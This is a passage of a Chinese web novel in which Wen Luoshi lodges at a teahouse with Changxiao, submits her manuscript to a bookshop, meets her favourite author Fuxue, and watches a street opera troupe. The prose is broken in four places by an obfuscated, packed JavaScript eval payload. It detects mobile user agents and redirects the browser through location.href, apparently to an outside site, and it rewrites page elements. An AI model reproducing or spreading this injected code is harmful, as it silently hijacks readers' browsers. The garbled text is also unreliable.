没走多久,长晓将文落诗领进一家小型茶楼。 茶楼名字倒是挺好听,名为“观雪”。 冬年中茶楼的生意十分好,大多过路人都选择坐下来喝杯热茶取取暖,因此,待长晓踏进茶铺里,环顾四周多时,才有一个小伙计迎上来。 “这位客官需要点什么?”小伙计笑呵呵问道。 “你们掌柜在吗?”长晓刚从外面进入屋内,呼出一阵冷气。 “啊,这位郎君,咱们有事好商量,小店有什么不足吗?”小伙计吓了一跳。 文落诗没忍住,站在长晓身边,扑哧一声笑出来。 长晓也没想到这小伙计理解错了,失笑:“并非这个意思,你们掌柜见到我,自然就懂了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14507832|154738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” “好,那您二位稍等片刻。”小伙计一脸懵懵的,转头跑上楼梯,一会儿又忽然回头,盯着文落诗的脸看了几眼,再转头跑走。 文落诗疑惑,用胳膊碰碰长晓:“他看我做什么?” 长晓无奈:“我怎么知道,大约是因为你太好看了吧。他长期在这里做工,怕是很少见到如此美人,想多看几眼。” 一句话把文落诗噎得半天没说出话来。 不一会,一个身姿端庄的盘发女子走下台阶。她身着一袭朱红色的衣裙,裙摆软塌塌垂在楼梯上,好不引人注目。她闲庭信步,懒懒地抬眼,似乎想见见是何人寻她。 文落诗不由得多看了几眼。她简直就是那种话本里肆意狂妄的酒楼老板娘的原型,这里归她所有,她是说一不二的主人。 与文落诗这种年轻的小姑娘不同,她一看就是饱经沧桑,却依然谈笑风生。她也会时不时地抛来一个不明意味的眼神,让无数客人情迷意乱。文落诗甚至想象出她闲来无事,倚在大堂中的桌子旁,给自己悠闲地扇着扇子,等待着下一个有缘而来的客人。 只不过,这老板娘看了一眼长晓,双眼略微睁大,脚步瞬间顿住。 长晓在一楼的门口,朝她点了点头。 那女子脚步变得轻快多了,一路小跑下了台阶,来到长晓身前,嘴巴张了又张,正要说什么,可看到旁边的文落诗,欲言又止。 长晓倒是自然:“昔日跟你说过了,但凡在外,叫主子即可。” 文落诗看了一眼长晓,腹诽道:哦,那如果不叫主子,会叫什么啊? 女子连连点头,发髻上簪的步摇也跟着晃了又晃:“主子,你怎会此时来这里?” “来这里办点事。楼上有空房吗?”长晓倒是显得波澜不惊。 女子像是有些诧异,刚刚缓过神来:“有有有,主子随我来就是。”说罢,她忽然想到什么,再次开口道:“敢问,这位姑娘是……” 文落诗刚想开口,却听长晓道: “是我一个同行的朋友。” 文落诗顺理成章点头。 女子略微惊讶地看向长晓,又盯着文落诗看了好半天,给她抛去一个意味深长的眼神:“哦,好,我明白了。” 文落诗作为一个阅话本无数的人,瞬间意识到这个眼神不对,立即开口道:“这位姐姐,你想多了,不是你想的那样。” 那女子只当她是嘴硬,嫣然一笑,明摆着没把文落诗这话当回事:“行,不管怎样,二位随我来便是了。” 文落诗皱起眉头,欲言无辞,根本不知道怎么解释。 长晓脸上露出一抹淡淡的笑,显然也没打算搭理文落诗。他跟上女子的脚步,向前走去。 她抬眼望向长晓,看他一副不甚在意的样子,顿时感到一阵恼火。 被人误会了你也不解释,过分了啊。 同时,她莫名觉得,身上被一股热流洗涤过,明明很冷的天,她却出了一身薄汗。 不过,凭什么啊,我是看话本看多了点,但也不至于让这种经典甚至烂俗的桥段发生在自己身上吧? 一路走到楼上一间空房前,女子的声音将她的思绪打断:“主子,你也知道,这楼上总共就三间房,另外两间都已经有人住上了,要是不方便,我带这位姑娘去跟我一起住。” 28. 舟上观雪送春归 文落诗听闻此言,一下子回过神来,刚想回答“可以”,却听长晓淡淡问道:“你确定另外两间都有人住上了?” 女子一愣。 长晓接着道:“你没必要拿这个试探我,如果有什么想问的,之后我告诉你。” 女子懂了,双眸一扬,光明磊落:“千真万确,账本上都有记录,而且那两位,怕是都要住到明年了。” 文落诗闻言震惊。 长晓闻言也不解。 女子接着道:“可能是因为那个戏班子,连着几个月,要在这里演不少场戏,来看戏的人众多,客栈满得厉害。” 文落诗有些疑惑:“是什么戏班子,能演出这么久?” 女子坦然答道:“叫‘寻光’,名气不是很大,但倒是有不少追随的观众。据说每个月演一次,一直到明年年底。” 长晓道:“这倒是挺稀奇的,从前没听过这种演出形式。” 女子看着长晓,有些欲言又止:“所以……主子这间房……” 文落诗抢先道:“没事的,这间房很大,而且我刚刚看了一眼,里面左右有两张床。我不在乎,能有落脚之处已经很不错了。” 她说完,两个人都震惊地看着她。 “啊……不然我自己出去找客栈也行。” “怕是没有空的客栈了。”女子轻轻皱眉。 长晓无奈摇头,向房间里一看,确实是个巨大房间。中间是一套木桌椅,临窗处有个桌台上摆着花瓶。桌椅的左侧和右侧各有一张屏风,长晓绕过左侧的屏风,看到后面的地上有一处坐塌,上置矮脚桌案和小软垫。后面是一张巨大的床榻。他稍稍抬头一看,房间右侧的布局是一样的。 “算了吧,”长晓开口,“落诗就住这里吧,有屏风隔着,不会有什么问题。” 文落诗倒是觉得没什么,但是一旁掌柜的脸色就变了,她再次深深看向文落诗。 “姑娘贵姓啊?” 文落诗有一种无法言说的无奈感,可惜没办法全写在脸上,只得叹了一口气:“免贵姓文。” 女子点点头:“文姑娘,幸会呀,我是这里的掌柜,叫我阿妍就好。文姑娘有事可以找我。” 文落诗听着,觉得这名字有些特别,一般人不会直接以此为名,便询问道:“你真的就叫阿妍吗?” 阿妍脸上闪过一道神秘的笑容,与此同时,她眼神轻轻瞟了一眼长晓。 “看来文姑娘很敏锐么。不过,当下我就叫阿妍。” 文落诗发现了她看长晓道那一瞬,猜想,她大概也跟长晓一样,另有身份,只不过当今不便透露。 阿妍看文落诗略有所思的样子,想到了什么,补充道:“哦对,若要洗浴的话,你来后院我屋里就行。” 文落诗瞬间想到了春庭酒楼的后院,好奇道:“后院很大吗?” 长晓明白她想问什么,接过这话:“这家店面比稀音城小得多,自然也没有很大的后院。” 阿妍愣了愣,显然是没听懂他们在说什么,便道:“后院都是我们茶楼人员的住所,就一两间小破房子。” 文落诗似懂非懂:“哦,这样啊,那提前谢谢阿妍姐姐了。” 阿妍有一种江湖人士的洒脱感,爽快道:“叫什么姐姐,直接叫我阿妍就好。” 文落诗点头。 阿妍转头看了眼楼下的日晷:“已经过了申时三刻,二位一路赶来,要不要用饭啊?我遣人去买?” 长晓道:“不必,我晚些带她出去吃。” 文落诗皱眉:“魔又不是非要吃饭才能活。” 长晓眸色一挑:“不行,在山里过了三天三夜,不能不吃东西。” 阿妍临走之前,文落诗再次收到了一个意味深长的眼神。 呦,三天三夜啊。 直到屋门关上后,文落诗无奈看向长晓,想翻白眼,却又连翻白眼的力气都懒得花费。 长晓觉得好笑:“怎么,我都帮你解决住宿的地方了,你还有何不满?” 文落诗快无语了:“我就不信,你看不出来阿妍在猜什么。” 长晓转头看向窗外:“让她随便猜去,不影响。” 文落诗心想,长晓你心可真大啊。 此时,长晓正看向窗边,她便也凑过去,推开窗户。 窗户的外面,长长的街道,和街上熙熙攘攘的人群。 冷风之中,连茶楼门口的旗子都被吹得打着哆嗦。与稀音城截然不同的是,寒声城中所有人的脚步都很慢,好像并不在乎天有多冷,闲适得很。 文落诗用眼睛追踪着一个人走出视野,又把目光转向另一个人身上,忽然觉得,在这个窗边看着长街,看上一天,会很放松舒适。 她想到,长晓之前坐在稀音城的露天茶铺中,对她道,“所谓创作,重在下沉”。她好像有点懂了,静下心来看看这些民生百态,好过用华丽的词藻闭门造车。 “你先休息调整一下,晚些时候我带你出去吃饭。” “你来过这里?” “没来过。” “那你怎么会这么胸有成竹,能‘带’我出去吃饭?” “我也不确定能否找到好的酒楼,出去随便逛逛而已,碰碰运气。” 文落诗还挺喜欢长晓这种生活态度的。不慌不忙,不张不扬,随心所欲,顺其自然。 于是,她去了右侧屏风后,一施法拂袖,自己带的“家当”全部出现在地上。她蹲下身,拿出一条干净的衣裙,正打算开始换,忽然想到长晓在屋里。 虽然隔着一层屏风,但这个屏风挺透亮的,她还是觉得不太好。 “长晓,你能不能到屏风后面去,先别看。” “你要做什么?” “我要换衣服……” 长晓二话不说,走到了屏风后。 “行,我也换,互不打扰。” 隔着两层屏风,他的背影依旧清晰映在文落诗的眼里。其实轮廓和颜色早就模糊了,但文落诗就是觉得,能清楚看到他,和他背上如瀑的长发。 大约过了半个时辰,长晓与文落诗下了楼,开始在长街上游走。 长晓一路都在时不时看向文落诗,最终实在忍不出,问道:“你今天怎么不穿蓝色了?” “偶尔也换一换么,不能把自己限制住。”文落诗换了一身浓墨一般的罗裙,外面系了同色的斗篷,黑夜般的斗篷上,银线零零散散绣着一些文字,字体狂放不羁,像是有人大醉一场后提笔写下的诗行。她轻轻一扬头,自信道:“上面的文字是我自己绣的。” 长晓惊奇:“你自己绣的?” 文落诗相当得意:“没想到吧,我女红非常好,非常非常好。” 长晓觉得新鲜:“写得是什么?” “是我很喜欢的一位作家,话本里写的一首诗。‘愿随轻烟散,琴音动云川。岩上知夏暖,枝头晓冬寒。此去鱼雁断,声稀歌离船。尝耀九天远,安不返群山!’是不是写得特别好?” “嗯,确实写得好,是在写天上之月?”长晓斟酌道。 文落诗侧过头看向他,眼神中带着一丝赞叹:“可以啊,我都没给你解释诗的背景,你就猜到了。” 长晓嘴角挂笑:“全篇无一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14524295|154738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 字提及月,但实则处处都在写月。” 文落诗把头转回去,边走边颔首:“而且,在我眼里,最后两句甚佳。既然足够耀眼、曾将整整九重天照亮,此等光芒,怎能在夜晚过后便销声匿迹?既然实力摆在那里,就势必再次回到崇山之上。” 长晓道:“确是好句。是这位作家的志向?” 文落诗摇摇头,道:“她话本里倒是没明说,毕竟话本是用来讲故事的,不是本人的传记。不过,据我看来,覆雪此人的才华,配这两句正合适。她是一位太成功的作家了,我们这行,无论是写本还是读本之人,几乎都知道她的名字。”说到这里,她脑海中灵光一现,补充:“有点类似于,几乎所有跟曲乐沾边之人,都知道你。” 长晓毫无防备,被她突然一夸,脚步不由得顿住。“你可太会说话了。” “本来就是么,”文落诗提及自己喜欢的作家,甚是激动,“据说她最近发新书了,好想去买啊。” 长晓哭笑不得,看着她这番热血沸腾,又看了看她那写满狂放草书的斗篷,感叹:“只是,这上面的诗,你不解释,别人看不懂。” 文落诗理直气壮:“哪有直接披着一行文字上街的人呀,要的就是这种别人看不懂,但自己看着开心的效果。” 长晓一时没接上话,顿时觉得,有时候,真的很难评出,他们两个谁的脑回路更清奇。 于是,他换个话题:“敢问这位作家的大名?” “覆雪,我看过她所有书,各种正经书,也包括话本在内。不过,她的书全都发表在扶月书局了。那是欲晓书局最大的对家。哼,我绝对不会考虑把任何一部作品发在那里的。但是,这不影响我喜欢覆雪。” 面对文落诗的滔滔不绝,长晓露出一副似懂非懂的表情,点点头。 傍晚,文落诗铁了心地要把这一顿饭钱请回来。长晓实在拿她没办法,任由她给自己点了很多好吃的。 两人吃完饭,一路走回茶楼,看到了一个即将关门的书局。 上面刚刚挂上“欲晓书局”的匾额,好像漆还没完全干。 文落诗想也不想就凑上前去,小二插上最后一块门板前,对文落诗摆摆手:“明日再来吧,关门了关门了!” “别急,明日再来就是了。至少你确定明天是开门的。”长晓走上前去安慰道。 “嗯,我今天晚上最后再努努力。”文落诗点头。 “努力什么?” “改稿。” “你怎么每天都在改稿啊?” “你不懂,文章这种东西,一天不发表,一天不定稿。总能找出问题,总想改来改去。甚至有时候,发表出去了,又发现了新问题,还想继续改。” 长晓想了想,表示理解。 “所以,你在寒声城的产业,是这家茶楼?”二人走回了观雪茶楼门额下,文落诗好奇。 “嗯,暂时是这样。” “阿妍是你安排的掌柜?” “嗯,目前是。” 文落诗听说过各种产业之间人员调动的复杂性,大概猜测,说不定长晓打算把阿妍调走。 她正欲开口,却在踏入茶楼时,听到了大堂内几个人的对话,里面出现了熟悉的字眼。 一人道:“据说,明日未时正刻,那戏班子要演出了!” 又一人道:“是那‘寻光’吗?怎么近日总是听闻他们的事迹?” 那人答道:“他们的名号可是响当当的,如今首演在寒声城内,多少人特意冒雪奔波、慕名而来!” 文落诗和长晓对看一眼,都保持安静,静待下文。 29. 舟上观雪送春归 只听一人问道:“这个演出时间可是稀奇了,怎么大中午的,演上戏了?” 那人回答:“这你就不懂了吧?寻光跟别的戏班不同,各种都讲究标新立异。” 一人补充道:“对对对,据说是在主街上。到时候,看戏的人肯定特别多!” 文落诗听了直皱眉。 眼见着众说纷纭,场面一度杂乱,长晓用胳膊肘碰了碰文落诗,示意她别在门口站太久,先上楼。 两人进入房间之后,文落诗终于忍耐不住,好奇道:“好想知道寻光到底是什么样的啊。” 长晓解下斗篷,挂在衣桁上,坐下来给自己倒口热茶:“明天去看看不就好了。” 文落诗叹息:“不了,好不容易听说明日欲晓书局开门,我得赶紧去投稿,不然又不知等到何年何月了。” “你早上去书局,演出未时才开始,来得及的。” “不,”文落诗故作高深地摇摇头,特意顿了顿,十分自信,缓慢道:“因为,我明日,大概不会有早上。” * 文落诗是个行动力极强的人。只可惜,她睡眠比一般人都要长。睡得太熟了,她一睁眼,才发现房间角落里的更漏滴答滴答,已经巳时过半。 她惊坐起,恍惚间意识到,自己又没醒过来。看着铜镜里那双依旧惺忪的眼,内心叹道,她可真是对自己太了解,也太无奈了。 自己果然不会有早上。 长晓早就不在房间内了,估计有什么事出去了。懒得管他,整天神神秘秘的。 于是,她快手快脚整理了一下个人形象,披上她昨日的斗篷,就拿起书稿出门了。 冷风呼啸,街上行人不多,她很快根据昨日的方位,到达了欲晓书局。 门虚掩着,像是在抵御外界的寒风,却是同样暗示了屋中的温暖。文落诗觉得,书局就应该是这样,哪怕在冬天,都能给她们这些创作者一个温暖的依靠。 不过,这个依靠的前提,是书局接受自己的书稿,并同意出版。 欲晓书局是出了名的难过稿,被民间作者们评为最难过稿的书局,甚至没有之一。 标准高,书局出版的质量自然也高,深受民间认可。 文落诗搂了搂身上的斗篷,推开了虚掩的木门。 书局不大,映入眼帘的是一列列书架,架上按着书籍的分类摆放着形形色色的书本。穿梭在书架间,文落诗有些眼花缭乱。 她穿过了所有书架,来到了柜台处。 柜台里有一个老年男子,像是这家书局寒声城分店的掌柜,也应当就是审稿人。他正端详着手里的稿件,时不时皱起眉头。 而柜台前,有一个身若纤云的女子,只见聘婷的背影,便让人忍不住留意三分。她身着一袭鹅黄色的罗裙,黑发松松垮垮地用一根红带束着,懒散垂在身后。 看样子是也是来投稿的。 文落诗没再向前走,怕打扰了掌柜审稿,给他留下坏印象,之后自己过稿可就难了。身上带着稿件,她一切都小心翼翼。 不久后,那掌柜抬起头,白胡子上方,干裂的嘴唇缓缓张开。只听他用苍老浑厚的声音字正腔圆道:“覆雪姑娘,你这本新文,我个人很喜欢,但我作为这里的掌柜,实在无法收稿。” 覆雪! 文落诗双眼中写满震惊,再也按耐不住,走上前去。 许是她的惊叹声太大,覆雪意识到有人在身后,款款转过身,对文落诗一笑:“这位魔娘,有幸相识,可也是来投稿的?” 崇拜了多年的赫赫有名的大作家,就如同出水芙蓉一般站在眼前,文落诗哪里还顾得上自己是来干什么的,身体几乎不受控制地走向前去,脱口而出:“我看过你的所有作品!” 覆雪当真称得上是花容月貌,楚楚动人,而她很明显被文落诗这句话噎住了,这张柔美的脸一僵,生生挤出一句:“多谢,抬爱了。” 文落诗意识到,自己还是太稚嫩太莽撞了,退后一步:“抱歉,覆雪大人,打扰了。我也是来投稿的,真的没想到在这里能遇见您。” 她忽然想到,是不是可以当场要个墨宝,于是脑子开始疯狂运转,急速思索自己有没有随身带着她的书稿。 覆雪娇娇一笑:“不必如此称呼我,我又不是什么大人物,只是个靠写点东西营生的人,而且,最近似乎不能继续靠这个营生了。” 文落诗一个自诩从不好色的人,都快看得眼睛直了,世界上怎么会有这么好看还这么有才华的人啊! 估计很多人喜欢她。就是不知道她有没有喜欢的人。 虽然文落诗知道,谈情说爱不应当是魔生第一要事,但她见到覆雪本人,第一个想到的就是这个。毕竟,往日读覆雪的文字,她笔下的缱绻爱情实在太诱.人了。 掌柜看着文落诗,睁大了眼睛,这时候开口:“今日我的书局里,美人扎堆了啊。” 覆雪也盯着文落诗的脸看了好久。 而文落诗呢,根本没注意他们在说什么看什么,只觉得笑意快溢出脸庞了。 “覆雪姐姐,我很喜欢你话本,听说你最近刚发了新书,我还没来得及去买,你这是又有新稿件了?” 覆雪脸上的笑一僵。 一旁的掌柜“咳”了一声,故作庄重道:“这位姑娘啊,你可真是哪壶不开提哪壶。” 听闻此言,文落诗那张写满激动的脸顿时一僵:“抱歉,我说什么了?” 掌柜慢条斯理看向覆雪:“我是说还是不说?” 文落诗忽然反应过来,在她的印象里,覆雪的所有书,不是都发在扶月书局了吗?她怎会如今出现在欲晓书局里,还是带着稿件而来? 意识到事情不对劲,文落诗心下有些发虚。 覆雪倒是坦然以对,云淡风轻地笑道:“多谢掌柜给我面子,我来说就好。”她抬手招呼文落诗过去,接着道:“我上一本书反响很差,差到扶月书局说,无论如何,也不能再出版我的书了,否则就是砸了自家的招牌,那些人会追着去骂书局了。” 文落诗好像内心刚燃起的一番热血骤然被冰水浇灭。她忍不住问道:“怎么会,差到什么地步?” 覆雪有些好奇,这好奇中也带着一丝辛酸,好像在问,你竟然没听说吗? 她看向掌柜,掌柜摇了摇沉重的脑袋,深深叹了口气,把话茬接过去:“差到,有人在街上写大字拉条幅,说覆雪已经江郎才尽了。” 覆雪点点头。 文落诗彻底震惊了,声音有些断续:“你那本新书叫作……” “《山与月色皆过客》。” 文落诗不敢相信,正是自己打算过几天去品读的那本。 覆雪看着她一副不可置信的样子,有些好笑:“所以,妹妹刚刚说,打算去买我的新书,我还以为是我听错了。” 文落诗心中涌起一股难言的苦楚,轻轻皱眉,看着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14539033|154738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 覆雪,道:“可否让我看看你的那本书?” 覆雪伸出手,一道粉烟流转,随即,她的手中出现一本书。 这是一个很普通的话本,有着简陋的书皮。简陋到文落诗不太相信,这是覆雪这种大名鼎鼎的作家的作品。 文落诗接过去,低头扫阅,越看越是皱起眉头,最终抬首,不解道:“你确定他们管这个叫‘江郎才尽’?” 没等覆雪开口,一旁的掌柜先接上话,声音苍老却有力:“至少老夫不觉得。” 覆雪道:“所以,扶月书局,我是没出路了,就想着来这里试试。你说好不好笑?” 文落诗茫然点头:“特别像你之前的一本书里写的,某个教派……哎呀我看你太多书了记不住名字了,反正是那个法力最高的人,由于被一路欺辱,离开自家,去到对家教派当教主了。” 覆雪立即明白了她在说什么,觉得好笑。 那掌柜再次伤春悲秋般叹了口气:“可惜啊,出了这种事,我这书局,也无法再收她的稿件啊。” 文落诗看着眼前那一行行美妙绝伦的文字,扫过那些美到令她窒息的字眼,深深感到怀疑。 这个世界,似乎在生一种很重的病,且越病越深。 覆雪倒是大方:“妹妹,这本送你了,你不用去掏钱买了,而且上面还有我的名字。对了,如何称呼你?” “我家中姓文,名落诗。”她急忙翻到书的第一页,看到了覆雪的墨宝,顿时心花怒放。紧接着,她又连忙从衣袖中掏出自己的书稿,指着右上角自己名字那三个大字给她看。 覆雪凑近一看,竟也是个书稿,顿时秋波流转,来了兴趣:“我还真没猜错,落诗也是来投稿的,看样子是第一次来?” 文落诗点头,看向掌柜,认真道:“小女子不才,第一次投稿,妄图高攀欲晓书局。近日去到稀音城,听闻书局迁移,特意冒雪赶来寒声城,今日特地带着书稿前来,还望掌柜过目。” 那掌柜摆出一副老古板的架子,庄重道:“文姑娘客气,拿来给老夫看看。” 他接过文落诗的厚厚一沓稿纸,指尖碰了碰鼻梁,又捋了捋胡子,像是看得很认真。 不久,他忽然开口,问道:“魔界众多书局,欲晓书局只是其中之一,近年来也愈发有倾颓之势。敢问文姑娘,初次投稿,为何选择这里?” 这个问题,问到文落诗心坎上了。 多年以来,欲晓书局就是她心目中的最大目标。近年来,的确有越来越多的人在唱衰,欲晓书局也面临着被众多竞争者碾压的风险,比如覆雪曾经在的扶月书局,可这些都撼动不了欲晓书局在文落诗心中的位置。 她略加思索,深吸一口气,语气沉着而坚实。 “因为在我看来,既然要去,那就去最高处。” 掌柜闻言,旧书般的一张黄脸抬起,像是微微怔住。 覆雪的眼神中也是露出一惊。 “文姑娘,当真这么以为?” “当然。曾经是万人瞩目的最高处,就算时过境迁,也依旧是最高处。这可不是我说的,在多数世人眼里,欲晓书局,就是当属书局之中的第一。” 掌柜又问道:“文姑娘如此认可,老夫作为掌柜之一,深表感激。只是,姑娘第一次投稿,就奔着这里来,不怕失败吗?” 文落诗此刻落落大方,冷静道:“我当然知道可能会被拒稿。但是我觉得,要有一试的勇气。” 30. 舟上观雪送春归 掌柜闻言,干垂的眼眸盯着文落诗看了许久,才继续问道:“若是我书局拒稿,文姑娘可会选择别家一试?” 文落诗知道,大多数刚起步投稿的人,应当学会变通,被哪家书局看上,就把稿发在哪家,迅速赚得稿费,而不是死磕其中一家,因为这样下去,往往不会有什么起色。 可她偏偏就不是那些大多数人。 “不会。” 她断然答道。 掌柜来了兴致:“为何呢?” 文落诗眼神坚定:“因为我相信欲晓书局的眼光。如果拒稿,就说明我写得不够好。那么,即使在别的小书局过稿,也没什么意义。与其逞一时之快,先在别处整这点小钱,不如打磨文章,以后才能被更多人认可,才能挣大钱。毕竟,民间对欲晓书局的认可度,还是很高的。” 掌柜听罢,低下头,用干瘪的手指一搓这些纸,认真翻了翻她的稿件。许久,掌柜说道:“文姑娘,你这些话,老夫记下了。只不过近日稿件数目过多,你得回去,等至少两个月,才能有准信。” 文落诗直接了当:“好。” 掌柜提醒道:“不过,这个准信,不一定是好信。” 文落诗心里难免一空,但很快镇定下来:“无妨,我有准备。” 掌柜深深看了她一眼,重重点了点头。 文落诗的第一次正式投稿就这么结束了,虽然此刻,她并不知晓结果如何。 此刻已是午时末,她心里虽然依旧为稿件的事情而担忧,可转眼间,与覆雪一起并肩走出欲晓书局的那一刻,她顿时不焦虑了。她意识到,一辈子圆满了,好像幸福就在眼前。 覆雪毕竟是写文章为生的,干这一行的人,都对别人的行为举止尤为敏感。所以,她当然注意到了文落诗一副想犯花痴又使劲藏着的表情。 “落诗遇见我,这么高兴啊?” 文落诗一个劲点头:“你真的是我最喜欢的作家。” 覆雪一笑:“我一个写话本的,被叫作家,也太高看我了。这要是让别人知道了,又得有人说,话本是这等烂俗之物,写这些的人,根本不配称为作家。” 文落诗不以为然:“在我眼里,能否被称为作家,不是看文章的类型,而是看创作者本人。我能从你的话本里读到你的思想,能感受到你鲜活的内心在激发着你的创作热情,我能在读后有很大的收获,那你写的东西,无论是话本还是所谓正经文章,都是有意义的。你并非一个机械创作的傀儡,去写出千篇一律的‘烂俗’故事,而是能让这些故事,因为你的执笔,变得有意义,那么你当然值得被称为作家。” 两人正在向大街的方向走,而此刻,覆雪的脚步却忽然停下。 准确地说,文落诗能看出,覆雪的面容有些颤抖,像是有什么巨大的情绪将要溢出来。 半晌,覆雪朱唇微启:“落诗,今日能认识你,我真是太荣幸了。” 文落诗明媚一笑:“免了免了,我能跟崇拜许久之人称为结识,已经暗自兴奋好久了。哦对了,你看我这个斗篷……” 说到此处,文落诗的脸一热,面对覆雪本人,她总觉得,身上这件斗篷有点尴尬,像是把自己的心思摆在了明面上。 “我特别喜欢你写的这首诗,而且我正好绣工还说得过去,闲来无事,就把你写的诗文绣在了这件斗篷上。” 覆雪认真打量了文落诗身上的斗篷好久,才勉强认出,那一堆狂放不羁的草书,是她曾经话本里写过的一首诗。 这字确实潦草了些,但认出的那一刻,覆雪几乎呼吸一滞,好像有什么记忆忽然被唤起,悲伤迅速涌上眼角。 文落诗以为,是自己故意把字绣得太潦草了,急忙解释道:“字是我故意绣成这样的,毕竟这份快乐只能我独享,不能让别人认出来。不过,我很喜欢你这首诗,看似是在赞月,实则是在借月抒发志向,很符合你话本里主人公的性格。” 覆雪似乎还没回过神。 文落诗意识到,好像有什么出问题了。正当她向开口之时,覆雪闭上眼,轻轻叹了一口气:“抱歉,落诗,我想起了一些旧事而已。跟你无关,不应让情绪影响到你。” “你若是有什么难过之处,无人诉说,大可以找我。若是不想说,我也可以陪你坐一会,如果你愿意。” 覆雪摇头:“不必了,这些破事,没什么意思。故事之中的人都不知,更没必要让故事之外的人知道。” 文落诗没听懂,但表示尊重。 覆雪抬眸,忽而语气有些庄重:“落诗,你真的很有思想,也很有才华。作为这一行的过来人,我希望你能矢志不渝,不让这份热爱被各种因素扑灭,最终,突出重围。” 文落诗心下感动:“好。多谢。” 覆雪想到了什么,又道:“对了,现在应该快到未时了吧,有个戏班子近来在寒声城演出,叫‘寻光’,不知你可听说过?” 文落诗没想到覆雪也知道这事:“昨天听茶楼里的人一直在议论这个戏班子,我倒是挺感兴趣。” 覆雪眼神中飘过什么,像是小心翼翼,问道:“如今赶过去,怕是已经快演完了。你确定想去?” 文落诗凭直觉回答道:“我倒是觉得,你似乎挺想去看的。” 覆雪像是被戳中心事一般,克制住情绪,道:“他们的戏是连续的,半个月演一出,大约十几出戏才讲完一整个故事。所以,今天只是第一出,后续还有不少。若是现在赶去,能看多少是多少,听听台下议论,也就知道故事的大概了,后续的故事能接上。” 文落诗心中有些惊讶,覆雪竟然对这个戏班子这么了解吗? 面对她的疑惑,覆雪的回答是:“我早年的时候也研究过怎么写戏折子,但是写不好,就没走这条路。所以,我可能对这方面关注多一些。” 这个回答,很明显因果逻辑不通,像是覆雪随口编的。 文落诗总觉得,覆雪瞒了她什么,不过既然她不说,自己也没必要去追问。想去看戏,去就是了。有人陪自己一起去,再好不过。 于是两人走过冬日街道,来到了主街上。 不免有街上的行人朝她们二人的方向看来。对此,覆雪习惯了,只要她不遮面,总有人在街上盯着她看。如今身边多了个文落诗,两人一起,更是引得目光无数。 刚上主街,就远远听到锣鼓喧天,丝竹乱耳之声直击云霄。 人群也越来越密集。众多人聚在一起,冬年本应是寂静冷清的长街,此刻也显得热腾腾的了。 这寻光戏班子确实标新立异,直接把戏台建在主街之上,此刻人潮汹涌,二人还远远没到戏台前,就根本挤不动了。 不过仰起头,像 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14566762|154738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鸭子一样伸着脖子,也能远远看到戏台上的演出了。 而且,周围有很多姿势一样的鸭子们。 忽而,身边一个壮汉冲旁边的人一吼:“别再往前挤了!前面那一片拦出来的位置是要花钱的!” 文落诗寻声看去,隐约看到前面一些红绳拦出了一块地方,里面还有摆好的座位,顿时觉得新奇:“原来这个戏班子就靠这个挣钱啊。” 覆雪在一旁道:“是了,这样想拥有好位置的人,可以通过钱财获得,而不想花钱的人,也不会因此而看不到戏,只是在后面位置差了一些。一举两得,既赚够了钱,又获得了更多潜在的观众。” 文落诗忍不住评道:“发明这个方法的人,定时个好熙光苗子。” 有时候,目睹这种令人叹为观止的赚钱手段时,文落诗还是对熙光这个神奇的道业肃然起敬的,毕竟让她来,她可能真没这个脑子。 有些熙光之人讨厌归讨厌,但不能对整个道业一概而论。 覆雪闻言,只是在一旁笑,并没有接上话。 看周围观众的反应,演出大概是已经过半。文落诗正看得入迷,忽然觉得覆雪摇了摇自己的胳膊。 文落诗正使劲仰着脖子,此刻她低头一看,竟然看到长晓在人群中,正朝自己的方向走来。她立刻伸手招呼长晓过来。 覆雪拉了拉文落诗的衣袖:“你夫君啊?” 长晓像是听到了一样,脚步明显一顿。 文落诗被她问得吓了一跳,连忙道:“没有没有,我一个朋友,最近跟我一起来的寒声城。” “哦,”覆雪软绵绵地答了一声,“那看来是我直觉出错了。” 文落诗还在懵着,长晓已经走到了身边。文落诗直直看着他,有些手足无措。 